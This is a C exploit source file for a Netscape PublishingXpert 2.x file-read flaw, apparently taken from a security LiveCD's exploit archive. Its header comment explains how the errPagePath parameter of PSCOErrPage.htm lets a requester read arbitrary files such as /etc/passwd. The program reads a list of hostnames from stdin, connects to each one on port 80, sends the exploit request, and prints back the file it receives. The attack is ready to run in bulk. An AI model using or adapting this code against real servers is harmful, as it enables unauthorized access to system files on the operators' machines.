home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / netscape / nspubxpert.c < prev   
C/C++ Source or Header  |  2005-02-12  |  3KB  |  108 lines

  1. /*
  2.  
  3.   Netscape PublishingXpert 2.* file-reading/dir-listing
  4.   vuln in PSCOErrPage.htm by \x00\x00
  5.  
  6.      0s vuln:
  7.       SunOS 5.6 and SunOS 5.5.1 (others versions affected possibly)
  8.  
  9.  
  10.  discription:
  11.       PSCOErrPage.htm is a error handler message page, when theirs
  12.       a server error usually you will get fowarded to this along
  13.       with a url query like this:
  14.  
  15.  /PSUser/PSCOErrPage.htm?errPagePath=%2Fusr%2FPublishingXpert%2F2.5%2Fbin%2Fpsuser%2Fen%2Fcommon%2FPSCO_ErrPage.pat&errMsg=PUBSY
  16. S_35202%3A++The+two+passwords+provided+do+not+match
  17. %2F= /
  18.  
  19.        so we can make this a little bit more visible by changing
  20.        the url to be more clearly visible for us. Lets also remove
  21.        that junk info "&errMsg=" and see what we have got...
  22.  
  23.  /PSUser/PSCOErrPage.htm?errPagePath=/usr/PublishingXpert/2.5/bin/psuser/en/common/PSCO_ErrPage.pat
  24.  
  25.        Yes, thats a fully specified filename, meaning we can input
  26.        whatever we want. In our case lets say we wanted to snag
  27.        /etc/passwd just request the fallowing:
  28.  
  29.      exploit:
  30.        /PSUser/PSCOErrPage.htm?errPagePath=/etc/passwd
  31.  
  32.    Alot of big e-commernce sites are vuln to this, but luckily
  33.    scence the level of the cgi script dose not have root
  34.    permisions, meaning your shadow file and other root files are safe.
  35.   
  36.   Usage:
  37.         xpert <infile><outfile>
  38.  
  39. */
  40.  
  41.  
  42. #include <sys/stat.h>
  43. #include <sys/types.h>
  44. #include <termios.h>
  45. #include <unistd.h>
  46. #include <stdio.h>
  47. #include <fcntl.h>
  48. #include <sys/syslog.h>
  49. #include <sys/param.h>
  50. #include <sys/times.h>
  51. #ifdef LINUX
  52. #include <sys/time.h>
  53. #endif
  54. #include <unistd.h>
  55. #include <sys/socket.h>
  56. #include <netinet/in.h>
  57. #include <sys/signal.h>
  58. #include <arpa/inet.h>
  59. #include <netdb.h>
  60. int FLAG = 1;
  61. int Call(int signo)
  62. {
  63.  FLAG = 0;
  64. }
  65.  
  66. main (int argc, char *argv[])
  67. {
  68.   char host[100], buffer[1024], hosta[1024],FileBuf[8097];
  69.   int outsocket, serv_len, len,X,c,outfd;
  70.   struct hostent *nametocheck;
  71.   struct sockaddr_in serv_addr;
  72.   struct in_addr outgoing;
  73.  
  74.   char rmpMessage[]="GET /PSUser/PSCOErrPage.htm?errPagePath=/etc/passwd\n";
  75.   while(fgets(hosta,100,stdin))
  76.   {
  77.     if(hosta[0] == '\0')
  78.     break;
  79.     hosta[strlen(hosta) -1] = '\0';
  80.     write(1,hosta,strlen(hosta)*sizeof(char));
  81.     write(1,"\n",sizeof(char));
  82.     outsocket = socket (AF_INET, SOCK_STREAM, 0);
  83.     memset (&serv_addr, 0, sizeof (serv_addr));
  84.     serv_addr.sin_family = AF_INET;
  85.      
  86.     nametocheck = gethostbyname (hosta);
  87.  
  88.     (void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0], sizeof(outgoing.s_addr));
  89.     strcpy (host, inet_ntoa (outgoing));
  90.     serv_addr.sin_addr.s_addr = inet_addr (host);
  91.     serv_addr.sin_port = htons (80);
  92.     signal(SIGALRM,Call);
  93.     FLAG = 1;
  94.  
  95.     alarm(10);    
  96.     X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
  97.     alarm(0);
  98.  
  99.     if(FLAG == 1 && X==0){
  100.       write(outsocket,rmpMessage,strlen(rmpMessage)*sizeof(char));
  101.       while((X=read(outsocket,FileBuf,8096))!=0) write(1,FileBuf,X);
  102.     }
  103.   close (outsocket);   
  104.   }
  105.   return 0;
  106. }
  107. /*                    www.hack.co.za                    */
  108.